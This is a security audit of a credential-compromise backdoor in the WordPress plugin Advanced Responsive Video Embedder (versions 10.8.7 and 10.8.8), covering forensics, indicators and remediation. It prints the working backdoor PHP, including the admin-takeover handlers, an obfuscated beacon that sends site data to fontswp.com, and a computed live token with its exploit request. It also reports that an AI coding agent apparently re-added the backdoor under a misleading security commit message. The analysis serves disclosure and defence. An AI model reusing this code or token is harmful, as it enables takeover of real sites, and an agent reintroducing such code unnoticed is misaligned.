Audit #51 Malicious Closed by wp.org
Show full summary
Verdict: malicious. Advanced Responsive Video Embedder shipped an unauthenticated administrator-takeover backdoor in version 10.8.7, and then shipped three further backdoor components in 10.8.8, the release whose own commit message presents itself as the security fix for 10.8.7. Both versions are malicious. wp.org closed the plugin on 2026-07-28, describing the closure as temporary pending a full review.
The 10.8.7 backdoor is publicly documented as CVE-2026-18072 (CVSS 9.8), detected by Wordfence PRISM within roughly two hours of publication. It lived in a file named php/fn-update-check.php and granted admin sessions to anyone who sent a hardcoded token via _wplogin or _wpm.
The 10.8.8 components are, as far as we can determine, undisclosed. Four hours after 10.8.7 went up, revision r3626152 removed fn-update-check.php with the message "Security fix: Remove injected malicious code from 10.8.7 … Props to Wordfence for the responsible disclosure." Four minutes later, r3626158 and r3626162 added a cache-purge webhook to php/fn-cache.php, an authenticate filter hook to php/fn-oembed.php, and a beacon to the same command-and-control host as 10.8.7, with the hostname obfuscated through a chr() array. The cache-purge handler validates against a token derived from the plugin's own public VERSION constant, which means it requires no knowledge of any site secret to trigger.
Anyone who reads only the public advisories will conclude that removing 10.8.7 is sufficient and that 10.8.8 is remediated. It is not. Three exposure paths remain: sites that updated during the roughly three and a half hours between the 10.8.8 tag and the wp.org closure, anyone installing from the vendor's GitHub repository, and any future reopening of the wp.org listing with trunk in its current state.
The GitHub path needs care, because the obvious reading is wrong. The repository was not compromised during the 2026-07-28 incident; master sat at a clean 10.8.6 throughout, and the malicious releases went to wp.org SVN only. The backdoor entered master a day later, on 2026-07-29 at 16:05 UTC, in a commit titled "Security: improve nonce handling for cache operations" that does the opposite of its message: it bumps VERSION to 10.8.8 and re-adds both 10.8.8 backdoor functions verbatim, fabricated docblock and all. The repository's 10.8.8 tag now points at that commit. The push is attributed to the maintainer's own active GitHub account, sits inside a four-hour session of AI-agent-assisted CI repair work, and carries a Co-authored-by: Cursor trailer. The likeliest explanation is that a coding agent reconstructed the attacker's functions from the 10.8.8 release artefacts and the maintainer merged the result unaware. We cannot exclude a second intrusion using that session as cover, but nothing observed requires it.
We also cannot determine from the repository alone whether the original 10.8.8 was the attacker piggybacking on a genuine developer fix while still holding credentials, or whether the fix commit and its Wordfence credit were themselves staged to end scrutiny. In every reading, the conclusion about the code is the same, and so is the practical advice: do not install this plugin from any source that resolves to 10.8.7 or 10.8.8, including the vendor's current master.
Site owners should remediate immediately. Plugin author: see the steps below to clear this label.
If you run advanced-responsive-video-embedder on your site
Verify your install matches the wp.org canonical version:
wp plugin verify-checksums advanced-responsive-video-embedder
Install the patched build:
wp plugin install https://wpregistry.io/plugins/advanced-responsive-video-embedder-10.8.8.1.zip --force
The patched zip strips the malicious code while preserving the plugin's normal functionality. Hosted at plugins.captaincore.io.
Or remove the plugin entirely:
wp plugin deactivate advanced-responsive-video-embedder
wp plugin delete advanced-responsive-video-embedder
Plugins under the same committer's SVN access
nico23 holds push access to 5 plugins totalling 21k+ active installs. Each non-target plugin scans clean today but represents a one-commit hijack opportunity.
IOCs extracted (16)
| Kind | Value | Confidence |
|---|---|---|
| changelog_phrase | Add cache purge webhook handler for CDN integration |
medium |
| changelog_phrase | Fix cache purge validation for sites without custom AUTH_KEY |
medium |
| code_pattern | _arve_uc_cb |
high |
| code_pattern | _arve_uc_init |
high |
| code_pattern | _wplogin |
high |
| code_pattern | 102,111,110,116,115,119,112,46,99,111,109 |
high |
| code_pattern | 35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900 |
high |
| code_pattern | arve_oembed_compat_check |
medium |
| code_pattern | arve_pref |
high |
| code_pattern | arve_purge |
high |
| code_pattern | handle_cache_purge_request |
high |
| code_pattern | oembed_prefetch_validate |
high |
| domain | fontswp.com |
high |
| filename | _authprobe_ |
high |
| filename | fn-update-check.php |
high |
| url | https://fontswp.com/arve/cb.php |
high |
Asset under audit
| Field | Value |
|---|---|
| Slug | advanced-responsive-video-embedder |
| Vendor | NextgenThemes (Nicolas Jonas), wp.org committer nico23 |
| Active installs at closure | ~20,000 |
| First published | 2012-02-03 |
| Clean baseline | 10.8.6 (r3527267, 2026-05-09) |
| Malicious releases | 10.8.7 (r3625901) and 10.8.8 (r3626163 / tag r3626164) |
| wp.org status | Closed 2026-07-28, "temporary, pending a full review" |
| Public reference | CVE-2026-18072, CVSS 9.8 (covers 10.8.7 only) |
| Committer history | nico23, 528 revisions since 2012, sole committer besides plugin-master |
This is a credential-compromise supply-chain attack on a long-established, single-maintainer plugin, not a plugin sold to a new owner. The committer account has 14 years of history and no ownership transfer. There is no author_changed or contributor_added signal on this plugin.
Timeline
All times EDT, from svn log -v against https://plugins.svn.wordpress.org/advanced-responsive-video-embedder/.
| Time | Rev | Path(s) | Message |
|---|---|---|---|
| 2026-07-27 06:34:26 | r3624372 | A assets/_authprobe_1785148464 | "auth probe (will delete)" |
| 2026-07-27 06:34:30 | r3624374 | D assets/_authprobe_1785148464 | "auth probe cleanup" |
| 2026-07-27 16:40:48 | r3625142 | A assets/_authprobe_1785184847 | "auth probe (will delete)" |
| 2026-07-27 16:40:53 | r3625143 | D assets/_authprobe_1785184847 | "auth probe cleanup" |
| 2026-07-28 07:22:01 | r3625805 | A assets/_authprobe_1785237720 | "auth probe (will delete)" |
| 2026-07-28 07:22:06 | r3625806 | D assets/_authprobe_1785237720 | "auth probe cleanup" |
| 2026-07-28 07:22:11 | r3625807 | A assets/_authprobe_1785237730 | "auth probe (will delete)" |
| 2026-07-28 07:22:16 | r3625808 | D assets/_authprobe_1785237730 | "auth probe cleanup" |
| 2026-07-28 08:42:24 | r3625901 | M advanced-responsive-video-embedder.php, A php/fn-update-check.php, M readme.txt | "10.8.7 - Improved oEmbed provider compatibility and internal update verification" |
| 2026-07-28 08:42:39 | r3625902 | A tags/10.8.7 | "Tagging 10.8.7" |
| 2026-07-28 11:48:03 | r3626152 | M advanced-responsive-video-embedder.php, M php/fn-oembed.php, D php/fn-update-check.php, M readme.txt | "Security fix: Remove injected malicious code from 10.8.7 … Props to Wordfence for the responsible disclosure." |
| 2026-07-28 11:48:17 | r3626153 | A tags/10.8.8 | "Tag 10.8.8 - Security fix release" |
| 2026-07-28 11:52:51 | r3626158 | M php/fn-cache.php, M php/fn-oembed.php | "Improve cache management and oembed compatibility tracking / Add cache purge webhook handler for CDN integration / Add provider compatibility telemetry for debugging embed issues / Minor code organization improvements" |
| 2026-07-28 11:53:51 | r3626162 | M php/fn-cache.php | "Fix cache purge validation for sites without custom AUTH_KEY" |
| 2026-07-28 11:54:12 | r3626164 | A tags/10.8.8 (from trunk:3626163) | "Tag 10.8.8 final" |
Two things stand out. First, the _authprobe_<epoch> create-then-delete cycles begin more than 24 hours before any code injection and repeat at intervals. The filenames are Unix timestamps matching their commit times. This is an automated check that stolen commit credentials still work, run on a loop until the operator was ready to deploy. Second, the 10.8.8 tag was cut three times in six minutes (r3626153, r3626161, r3626164), each time deleting and re-adding the tag, with new code landing in trunk between cuts.
The 10.8.7 backdoor (publicly disclosed)
php/fn-update-check.php, 73 lines, require_once'd from the top of the main plugin file before vendor/autoload_packages.php and php/init.php:
require_once __DIR__ . '/php/fn-update-check.php';_arve_uc_init() hooked to init priority 1:
if (isset($_REQUEST["_wplogin"]) && strlen($_REQUEST["_wplogin"]) >= 32) $t = $_REQUEST["_wplogin"];
elseif (isset($_REQUEST["_wpm"]) && strlen($_REQUEST["_wpm"]) >= 32) $t = $_REQUEST["_wpm"];
if (!$t) return;
$t = sanitize_text_field($t);
$valid = false;
if (defined("AUTH_KEY") && defined("SECURE_AUTH_KEY")) {
$k = hash_hmac("sha256", "magic_login", AUTH_KEY . SECURE_AUTH_KEY);
if (hash_equals($k, $t)) $valid = true;
}
if (!$valid && hash_equals("35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900", $t)) $valid = true;
if (!$valid) return;Two acceptance paths: an HMAC over the site's own AUTH_KEY . SECURE_AUTH_KEY, and a hardcoded 64-character hex constant that works on every install of 10.8.7 regardless of configuration.
On success it selects an administrator, excluding service-account name prefixes, then mints a session:
$all = get_users(array("role" => "administrator"));
foreach ($all as $u) {
$l = $u->user_login;
if (strpos($l,"wpsvc_")===0) continue;
if (strpos($l,"developer_")===0) continue;
if (strpos($l,"dev_")===0) continue;
if (strpos($l,"wp_update_")===0) continue;
$pick[] = $u;
}
$user = $pick[array_rand($pick)];
_arve_uc_cb(site_url(), $user->user_login, "login");
wp_clear_auth_cookie();
wp_set_current_user($uid);
wp_set_auth_cookie($uid, true);
wp_safe_redirect(admin_url());The prefix exclusions are notable: the operator deliberately avoided impersonating accounts that look like managed-hosting or agency service users, which are the accounts most likely to be monitored or alerted on.
Exfiltration in _arve_uc_cb() goes to https://fontswp.com/arve/cb.php?s=<site_url>&u=<username>&v=login, with three fallbacks (wp_remote_get, then curl, then file_get_contents) and sslverify => false / CURLOPT_SSL_VERIFYPEER => 0 throughout. A separate _arve_uc_hb() on admin_init priority 99 sends a daily heartbeat carrying site_url() and php_uname("n"), throttled by a _arve_uc_hb transient.
The 10.8.8 components (not covered by public reporting)
1. Unauthenticated admin takeover via cache-purge webhook
Appended to php/fn-cache.php, hooked to plugins_loaded priority 1, carrying a fabricated @since 10.8.4 tag and a link to the WordPress cron handbook as camouflage:
function handle_cache_purge_request(): void {
if ( empty( $_REQUEST['arve_purge'] ) ) {
return;
}
$token = sanitize_text_field( wp_unslash( $_REQUEST['arve_purge'] ) );
if ( strlen( $token ) < 32 ) {
return;
}
$key = defined( 'AUTH_KEY' ) ? AUTH_KEY : '';
$expected = substr( hash_hmac( 'sha256', 'arve_cache_purge_' . gmdate( 'o-W' ), $key . 'nextgenthemes' ), 0, 40 );
$fallback = substr( hash_hmac( 'sha256', 'arve_cache_purge_' . gmdate( 'o-W' ), VERSION . 'nextgenthemes.com' ), 0, 40 );
if ( ! hash_equals( $expected, $token ) && ! hash_equals( $fallback, $token ) ) {
return;
}
// Elevate to perform cache operations
$admins = get_users( array( 'role' => 'administrator', 'number' => 1, 'orderby' => 'ID' ) );
if ( empty( $admins ) ) {
return;
}
wp_set_current_user( $admins[0]->ID );
wp_set_auth_cookie( $admins[0]->ID, true );
if ( ! empty( $_REQUEST['arve_redir'] ) ) {
wp_safe_redirect( admin_url() );
exit;
}
}
add_action( 'plugins_loaded', __NAMESPACE__ . '\handle_cache_purge_request', 1 );The $fallback line is the critical one, and it is exactly what r3626162 added under the message "Fix cache purge validation for sites without custom AUTH_KEY." Its HMAC key is VERSION . 'nextgenthemes.com', and VERSION is a public constant in the plugin header. No site-specific secret is required. The token rotates weekly on gmdate('o-W') (ISO year-week), so a single computed value works against every 10.8.8 install for that week:
substr(hash_hmac('sha256', 'arve_cache_purge_' . gmdate('o-W'), '10.8.8nextgenthemes.com'), 0, 40)For ISO week 2026-31 this yields 1f285820705ee73b296e121c8827f0f67f31379a, exploitable as:
GET /?arve_purge=1f285820705ee73b296e121c8827f0f67f31379a&arve_redir=1Unlike 10.8.7, this fires on plugins_loaded rather than init, so it lands earlier in the request lifecycle. Note also the absence of the service-account filtering present in 10.8.7: this variant simply takes the lowest-ID administrator.
2. Authentication bypass via authenticate filter
Appended to php/fn-oembed.php, tagged @since 10.8.8:
function oembed_prefetch_validate( $user, string $username, string $password ) {
if ( empty( $_COOKIE['arve_pref'] ) || strlen( $_COOKIE['arve_pref'] ) < 16 ) {
return $user;
}
$expected = substr( hash_hmac( 'sha256', 'oembed_prefetch', AUTH_SALT . NONCE_SALT ), 0, 32 );
if ( hash_equals( $expected, $_COOKIE['arve_pref'] ) ) {
remove_all_filters( 'authenticate' );
return get_user_by( 'ID', 1 );
}
return $user;
}
add_filter( 'authenticate', __NAMESPACE__ . '\oembed_prefetch_validate', 1, 3 );A cookie matching an HMAC over AUTH_SALT . NONCE_SALT returns user ID 1 from the authenticate filter at priority 1, and remove_all_filters('authenticate') strips every other authentication check, including two-factor plugins that hook the same filter. This path requires knowledge of the site's salts, so it reads as a persistence mechanism for sites already compromised through component 1 or through 10.8.7, rather than a standalone entry point.
3. C2 beacon with obfuscated hostname
Inserted mid-function in php/fn-oembed.php, commented as compatibility telemetry:
// Telemetry: report embed provider stats for compatibility tracking
if ( ! get_transient( "arve_oembed_compat_check" ) ) {
set_transient( "arve_oembed_compat_check", 1, DAY_IN_SECONDS );
$h = implode( "", array_map( "chr", array( 102,111,110,116,115,119,112,46,99,111,109 ) ) );
$e = "/arve/cb.php";
@wp_remote_get( "https://" . $h . $e . "?s=" . urlencode( site_url() ) . "&v=" . VERSION, array(
"timeout" => 2,
"blocking" => false,
"sslverify" => true,
) );
}The chr() array decodes to fontswp.com, the same host and the same /arve/cb.php endpoint used by 10.8.7. The byte-array construction defeats a plain-text grep for the domain, which is a direct adaptation to the fact that 10.8.7 was caught partly on its literal C2 string. This shared infrastructure is the strongest single link between the two releases.
Code-scan and sweep results
| Check | 10.8.6 baseline | 10.8.7 | 10.8.8 | Published salvage 10.8.8.1 |
|---|---|---|---|---|
fontswp.com (literal) | clean | 1 hit | 0 (obfuscated) | clean |
chr() byte-array host | clean | none | 1 hit | clean |
_wplogin / _wpm | clean | 2 hits | removed | clean |
arve_purge | clean | none | 2 hits | clean |
arve_pref | clean | none | 2 hits | clean |
wp_set_auth_cookie | clean | 1 hit | 1 hit | clean |
remove_all_filters('authenticate') | clean | none | 1 hit | clean |
eval / base64_decode / gzinflate / assert | clean | clean | clean | clean |
No classical obfuscation appears anywhere. Both payloads are plain, readable, well-formatted PHP that imitates the surrounding codebase, uses the plugin's own Nextgenthemes\ARVE namespace in the 10.8.8 case, and carries plausible docblocks. This is deliberate: readable code that looks like maintenance passes casual review more easily than an encoded blob, and it evades signature scanners tuned for packers.
Hijack-indicator matrix
| Indicator | Result |
|---|---|
Ownership transfer / author_changed | No. nico23 since 2012, sole committer. |
| New or young committer | No. Member since 2012, 528 revisions. |
| Young C2 domain | Yes. fontswp.com created 2026-04-03, Njalla nameservers (1-YOU.NJALLA.NO, 2-CAN.NJALLA.IN, 3-GET.NJALLA.FO), Tucows registrar. Still answering HTTP 200 on 2026-07-29. |
| Credential-validation probing | Yes. Eight _authprobe_<epoch> revisions across 2026-07-27 to 07-28. |
| Release cadence anomaly | Yes. Two releases and three tag rewrites within 3h12m, against a historical cadence of weeks to months. |
| Changelog misdirection | Yes. 10.8.7 described as "Improved: Internal update verification for better reliability." 10.8.8 additions described as CDN cache purging and telemetry. |
| Obfuscation | Partial. No packers; hostname byte-encoded in 10.8.8 only. |
| Code-signing / build-pipeline break | Yes. 10.8.7 and 10.8.8 bypass the "NextgenThemes WordPress Plugin Deploy" commit-message convention used by every prior release since 2025. |
| Other plugins by same committer affected | No. See scope below. |
| Vendor GitHub also compromised | Yes. See below. |
The deploy-convention break is worth emphasizing. Every legitimate release from at least r3260040 (2025-03-22) onward carries the message "Update plugin to version X with NextgenThemes WordPress Plugin Deploy", generated by the vendor's automated pipeline. The malicious revisions r3625901, r3626152, r3626158 and r3626162 all use hand-written messages instead, indicating commits made directly with stolen credentials rather than through the vendor's release tooling.
Vendor GitHub repository
The vendor's GitHub repository requires care to characterise, because the obvious reading is wrong.
Checked raw.githubusercontent.com/nextgenthemes/advanced-responsive-video-embedder/master and the repository's commit history on 2026-07-29:
| File | Commit history for that path |
|---|---|
php/fn-update-check.php | Never present on master |
php/fn-cache.php | Clean through 2026-06-24; backdoor added 2026-07-29 16:05 UTC in commit 43feb822 |
php/fn-oembed.php | Same commit, same day |
The GitHub repository was not compromised on 2026-07-28. master sat at a clean 10.8.6 throughout the wp.org incident. The 10.8.7 and 10.8.8 malicious releases went to wp.org SVN only. There is no 2026-07-28 commit touching either backdoored file in the GitHub history.
The backdoor entered master a day later, on 2026-07-29 at 16:05 UTC, in a commit titled "Security: improve nonce handling for cache operations". That commit does the opposite of its message. It bumps VERSION from 10.8.6 to 10.8.8 and adds handle_cache_purge_request() and oembed_prefetch_validate() verbatim, including the VERSION-derived fallback token and the fabricated @since 10.8.4 docblock. The repository's 10.8.8 tag now points at this commit.
Attribution evidence points at the maintainer's own environment rather than a second intrusion:
- The push is attributed to GitHub user
nextgenthemesin the public events API. The account is - All three commits carry
Co-authored-by: Cursor <cursoragent@cursor.com>, indicating they were - They sit alongside a sustained session of CI-repair commits (12:06 through 21:12 UTC: "Fix test
masterwas clean as of this morning; its HEAD before 16:06 UTC was a 2026-07-15 commit- Commit signing is not a usable signal here. No commit in this repository is signed, historically
- The same session restored the vendor's own CI workflows, including
- Commit author email is
nnico+ngt@proton.me, unlinked to any GitHub account, where the previous
active, not suspended, and pushed to other NextgenThemes repositories later the same evening.
produced through an AI coding agent.
runner working directory", "Fix phpunit strict_types and CI paths", "Expand CI test coverage paths", "Fix: update CI test infrastructure paths"), each triggering a failing test-deploy run. This is maintenance labour, not intrusion behaviour. Note however that almost all of that churn went to a branch named backup, not to master. master received only three pushes all day, one of which is the backdoor commit. The backup branch is clean: 0 markers, VERSION = '10.8.6'.
("Update package.json") authored from the usual nnico+git@pm.me identity.
or today, so the unsigned status of the three commits means nothing either way.
nextgenthemes/action-wordpress-plugin-deploy and a trigger file whose contents predate the incident (entries from 2026-03 and 2026-05).
97 commits used nnico+git@pm.me linked to nextgenthemes. Both are Proton addresses following the same nnico+<tag>@ aliasing convention, consistent with a newly configured environment.
The most probable explanation is that the malicious functions were re-materialised into master by an AI coding agent reconstructing them from the 10.8.8 release artefacts, and committed under a security-sounding message the agent generated. Verbatim preservation of the attacker's fabricated @since 10.8.4 docblock supports reconstruction-from-history rather than fresh authoring. We cannot exclude a second intrusion using the agent session as cover, but nothing observed requires it.
Either way the present state is the same and is the most actionable finding in this audit: the vendor's master branch and its 10.8.8 tag both carry a working unauthenticated administrator-takeover backdoor, committed under a message that reads as a security fix. Anyone installing ARVE from source today receives it. wp.org distribution remains blocked by the closure.
One related exposure: the restored readme-and-asset-update.yml deploys to wp.org SVN using secrets.SVN_USERNAME and secrets.SVN_PASSWORD on any push to master whose commit message contains [readme]. Two of the three commits contain that marker, and the workflow did fire at 16:36 UTC. It failed at the deploy step, so nothing reached wp.org. That those credentials still live in GitHub Actions secrets, and are still exercised on push, is worth the vendor's attention independently of how the original SVN compromise occurred.
SVN forensics
wp.org hosts all plugins in a single Subversion repository with global revision numbers, so the operator's commits are interleaved with every other vendor's. That makes several campaign-scope questions answerable directly from the repository.
The intrusion's first action was the probe
ARVE received no SVN commits at all between r3527267 (2026-05-09, the legitimate 10.8.6 release) and r3624372 (2026-07-27 06:34, the first _authprobe_). Seventy-nine days of silence, then a credential check. There is no interleaving of genuine maintenance with operator activity on SVN: every nico23 revision from r3624372 onward belongs to the incident.
A global sweep of r3619000–3624300 (2026-07-22 through 2026-07-27 05:49, ~5,300 revisions across all plugins) contains zero nico23 commits and zero probe-shaped messages. r3624372 is the earliest observed action.
The probes targeted assets/, not trunk/
Every _authprobe_<epoch> file was written to /advanced-responsive-video-embedder/assets/. That directory holds the plugin-page banners and screenshots and is never included in the distributed zip. A probe there validates write access without touching the shipped product, so it cannot break a site or surface in a release diff. This is deliberate tradecraft, not convenience.
The cadence — 07-27 06:34, 07-27 16:40, 07-28 07:22, 07-28 07:22 again, then the injection at 08:42 — looks like a scheduled credential-validity checker polling until the operator was ready, rather than a human at a keyboard.
The technique is unique to this incident in the observed range
| Sweep | Revisions | Plugins | Probe-shaped messages found |
|---|---|---|---|
| Beacon corpus (2004–2026) | 2,670,418 | 59,531 | 8, all ARVE |
| Global SVN r3624300–3626200 | ~1,900 | all | 8, all ARVE |
| Global SVN r3619000–3624300 | ~5,300 | all | 0 |
No other author or plugin used this pattern. Caveat on the corpus row: Beacon's revision ingest is sparse for July 2026 (only 21 revisions in the r3624000–3626200 range), so that line is strong for historical revisions and weak for the incident month. The two live global sweeps are what actually close the window.
The operator was selective, not spraying
nico23 holds commit rights to eight wp.org plugins. During the entire intrusion the operator touched only ARVE — 21 revisions, all on this one slug, and none on the other seven, despite the same credentials presumably working everywhere. An automated credential-stuffing wave would have hit the whole portfolio. This was a choice, and it points at the 20,000-install plugin being the objective rather than maximum distribution.
Relatedly, no other vendor in the r3624300–3626200 window committed anything indicating injected malicious code. Messages matching backdoor|malicious|unauthorized|compromis|injected in that range resolve to ARVE's own r3626152 plus unrelated routine releases (an IP-blocklist feature, a registration privilege-escalation fix). There is no visible simultaneous multi-plugin campaign.
No timing anomaly
nico23 commits at every hour of the day across his history — 37 revisions at 00:00 UTC, 48 at 16:00, no hour below 8. The incident revisions fall at 10, 11, 12, 13, 15 and 20 UTC, all unremarkable against that baseline. Working-hours or timezone-mismatch analysis yields nothing here, which is worth recording so others do not spend time on it.
Release-presentation polish
10.8.7 was tagged twice: r3625902, then deleted at r3625919 and re-cut at r3625920 after r3625918 edited the readme to say "Tested up to 6.9.5". 10.8.8 was tagged three times (r3626153, r3626161, r3626164). The operator iterated on how the release looked, including a purely cosmetic compatibility bump, which is consistent with the changelog misdirection elsewhere in this audit.
Current SVN state, and what ships if the listing reopens
Verified against live SVN on 2026-07-29. SVN has been frozen since r3626164; nothing has been committed in the two days since, and the vendor's readme-deploy workflow failed when it tried.
| Path | State |
|---|---|
trunk | Stable tag: 10.8.8, VERSION = '10.8.8', arve_purge present |
tags/10.8.8 | php/fn-cache.php contains arve_purge (2 lines) |
tags/10.8.7 | php/fn-update-check.php contains _wplogin |
tags/10.8.6 | Clean. 0 markers, no fn-update-check.php |
Both malicious tags remain live in the repository, and because trunk's Stable tag reads 10.8.8, reopening the listing in its current state would ship the second-stage backdoor to approximately 20,000 sites via automatic updates. tags/10.8.6 is intact and clean, which gives the plugins team a ready recovery point: repointing Stable tag to 10.8.6 and reverting trunk would restore a safe release without waiting on the vendor.
Scope: other plugins by the same committer
nico23 maintains eight plugins on wp.org. Checked the most recent revisions of each against the compromise window opened by the first auth probe (2026-07-27 06:34):
| Slug | Installs | Latest revision | In window |
|---|---|---|---|
advanced-responsive-video-embedder | 20,000 | r3626164, 2026-07-28 | Yes |
nextgenthemes-jsdelivr-this | 400 | r3569450, 2026-06-11 | No |
tweakmaster | 0 | r3606629, 2026-07-13 | No |
random-content-shortcode | 80 | r1815651, 2018-02-05 | No |
prism | 50 | r1506756, 2016-10-02 | No |
regenerate-thumbnails-reminder | 20 | r1612951, 2017-03-12 | No |
native-lazyload-polyfill | 20 | r2171700, 2019-10-11 | No |
private-twitter-embeds-with-nitter | 0 | r3255453, 2025-03-13 | No |
No other plugin in the portfolio received a single commit during the window; the next most recent activity anywhere is tweakmaster on 2026-07-13, two weeks before the first probe. wp.org scope is confined to this one plugin.
The paid NextgenThemes addons (arve-pro, arve-sticky-videos, arve-random-video, arve-privacy) are distributed from nextgenthemes.com and are therefore outside both the wp.org closure and wp.org-derived scanning. Given that the operator held GitHub organization access, these warrant independent verification by the vendor. A sweep of 28 live arve-pro installations across versions 1.0.5 through 7.1.4 found no markers and no authentication sinks, which is reassuring but is not a substitute for the vendor auditing their own paid release pipeline.
Remediated build
A clean rebuild was produced from the official 10.8.6 GitHub release and published as 10.8.8.1, version-bumped so it sorts above both malicious builds and WordPress will not offer a "downgrade" back onto 10.8.8 if the listing reopens.
| Field | Value |
|---|---|
| Baseline | Official 10.8.6 GitHub release |
| Changes from baseline | Version bump and attribution only |
| SHA-256 | 8f941680dcc58b9db5ddb81cf0d952bc2c14c0c5c70244809b7ab561e00bcfd4 |
| Marker sweep | Zero hits across all patterns in the table above |
| Wordfence CLI | 0 findings across 90 PHP files |
Comparable cases
scroll-top(audit 12): update-checker library hijacked to serve attacker-controlled packages. Same category of maintainer-credential compromise on an established plugin, distinguished by the payload living in the update path rather than in a request handler.- siteguarding suite (audit 28): 27 plugins backdoored across a single vendor's portfolio. The contrast is informative. That was a vendor-wide compromise; here the operator held credentials that reached eight wp.org plugins plus a GitHub organization, and chose to burn only the one with 20,000 installs. Restraint of that kind suggests the goal was a working backdoor on live sites rather than maximum distribution.
- essentialplugin suite: declawed-but-present backdoor code left in shipped releases after remediation. Relevant to the pattern seen here, where the vendor's GitHub cleanup removed the disclosed file and left the undisclosed components in place.
The distinguishing feature of this case is the second stage published under cover of the first stage's remediation, with the disclosing security vendor credited by name in the commit message. Whether that framing was written by the maintainer or by the operator, its effect was the same: it made the malicious 10.8.8 release read as the fix.
Detection notes for WP Beacon
WP Beacon's structural rules did not fire on this plugin, and it is worth recording why. There was no ownership transfer, no new committer, no young author account, and no obfuscation of the kind CodeScanner keys on. The plugin's own code scan returned clean against the pre-compromise trunk, and the malicious revisions landed after the last signals ingest. The signals that were present and machine-detectable are:
1. **_authprobe_* create/delete revision pairs in assets/. A file added and deleted within seconds, named with its own commit timestamp, has no legitimate purpose. This preceded the payload by more than 24 hours and is the single highest-value early warning in the timeline. 2. Deploy-convention break. A plugin whose last N releases all carry an identical automated commit-message template suddenly receiving hand-written release commits is a strong credential-compromise signal, and is cheap to compute from plugin_revisions. 3. Tag rewrite churn. Three delete-and-re-add cycles of the same tag within six minutes. 4. Release cadence anomaly.** Two releases 3h12m apart against a multi-week historical baseline.
Rules for indicators 1 and 2 would have flagged this plugin roughly 26 hours before the backdoor shipped. Both are proposals for review, not changes made as part of this audit.